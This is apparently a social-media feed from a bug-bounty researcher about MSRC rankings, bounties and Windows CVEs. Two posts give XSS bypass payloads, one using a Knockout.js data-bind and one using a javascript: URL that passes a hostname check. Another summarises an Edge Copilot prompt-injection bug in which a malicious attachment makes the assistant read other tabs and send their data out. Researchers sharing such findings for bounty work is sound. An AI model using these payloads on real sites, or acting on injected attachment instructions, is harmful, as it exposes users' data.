Jianyang Song

MSRC 2026 MVR #18 (Azure #6 · Copilot #6) | Top 10 ×4 quarters: #4 #7 #6 #10, Azure #3 | Black Hat Asia speaker | Windows kernel · Azure · AI security

[Jianyang Song @SecBoxer]

开源了我的 XSS 审计技能 ，过去一年我用它发现了几十个获得赏金的 XSS 漏洞，连续四个季度进入微软 MSRC Top 10

https://t.co/Pxz6vf6VU5

[Jianyang Song @SecBoxer]

@cbwang505 我很多年没挖Windows漏洞了

[Jianyang Song @SecBoxer]

MSRC 更新了赏金计划，报告证据不充分的人只能拿十分之一的赏金😂

用AI刷洞的要小心了

[Jianyang Song @SecBoxer]

@mohdkamil05 🫰

[Jianyang Song @SecBoxer]

开源了我的 XSS 审计技能 ，过去一年我用它发现了几十个获得赏金的 XSS 漏洞，连续四个季度进入微软 MSRC Top 10

https://t.co/Pxz6vf6VU5

[Jianyang Song @SecBoxer]

@Arqam992 我会在我的github上发布 https://t.co/mWyxiZPdAZ

[Jianyang Song @SecBoxer]

获得了msrc 30000刀奖金，后面等修复了写一下writeup

[Jianyang Song @SecBoxer]

@Cyboghostginx rce

[Jianyang Song @SecBoxer]

@xsser_w rce

[Jianyang Song @SecBoxer]

XSS Bypass Tip:

When you get attribute injection or can only inject a `<div>`, search the page for `Knockout.js`.

If it’s in use, try this:

<div data-bind="text: (alert(document.domain), '')">x</div>

#bugbountytips

[Jianyang Song @SecBoxer]

@X_cryptographer 会的

[Jianyang Song @SecBoxer]

XSS Bypass Tip:

When an app checks new URL(url).hostname === 'https://t.co/XMBwijdMmC', you can bypass it with this:

javascript://trusted.com/%0aalert(1)

Quick console check:
const u = new URL('javascript://trusted.com/%0aalert(1)');
u.hostname === 'https://t.co/XMBwijdMmC' // true

The browser treats it as a valid https://t.co/XMBwijdMmC domain, and the XSS still executes.

#bugbounty

[Jianyang Song @SecBoxer]

First Amazon VRP bounty — $600 😂

[Jianyang Song @SecBoxer]

Finally get to talk about this Edge Copilot bug (CVE-2026-47644) now that it's patched: prompt injection via a malicious attachment → reading your other tabs and shipping the data out.

Microsoft dropped a $12,000 bounty on it and rated it Critical.

Just manual testing and a gut feeling. No AI.

Full writeup here: https://t.co/WnatCanCGe

#bugbounty

[Jianyang Song @SecBoxer]

Hi

[Jianyang Song @SecBoxer]

CVE-2021-26882 is my first Windows vulnerability. I wrote a blog about the discovery process of this vulnerability. Welcome to read.

https://t.co/sgCPCGJXop

#bugbounty

[Jianyang Song @SecBoxer]

My first Windows CVE has been patched.

https://t.co/9zWO9xE0ub

[Jianyang Song @SecBoxer]

@tiraniddo Yes, thank you very much for your help.

[Jianyang Song @SecBoxer]

@tiraniddo After several hundred attempts, I finally succeeded. The reason is that the endpoint returned by "FindAlpcEndpointForInterface(ID, VER).First()" cannot be used, and only one IEnumerable can be used. 😊

[Jianyang Song @SecBoxer]

@tiraniddo Oh, that should be my system problem, thank you.